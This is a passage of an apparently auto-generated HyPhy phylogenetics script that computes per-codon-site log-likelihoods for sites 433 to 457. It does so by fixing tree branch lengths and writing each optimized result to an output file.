assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "433\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 434...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1299,1300,1301", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 434");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "434\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 435...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1302,1303,1304", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 435");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "435\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 436...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1305,1306,1307", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 436");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "436\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 437...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1308,1309,1310", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 437");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "437\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 438...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1311,1312,1313", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 438");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "438\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 439...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1314,1315,1316", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 439");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "439\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 440...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1317,1318,1319", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 440");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "440\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 441...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1320,1321,1322", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 441");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "441\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 442...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1323,1324,1325", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 442");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "442\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 443...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1326,1327,1328", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 443");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "443\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 444...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1329,1330,1331", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 444");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "444\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 445...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1332,1333,1334", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 445");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "445\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 446...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1335,1336,1337", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 446");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "446\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 447...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1338,1339,1340", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 447");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "447\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 448...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1341,1342,1343", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 448");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "448\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 449...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1344,1345,1346", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 449");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "449\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 450...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1347,1348,1349", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 450");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "450\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 451...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1350,1351,1352", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 451");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "451\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 452...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1353,1354,1355", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 452");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "452\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 453...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1356,1357,1358", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 453");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "453\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 454...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1359,1360,1361", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 454");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "454\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 455...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1362,1363,1364", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 455");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "455\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 456...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1365,1366,1367", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 456");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "456\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 457...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1368,1369,1370", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 457");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
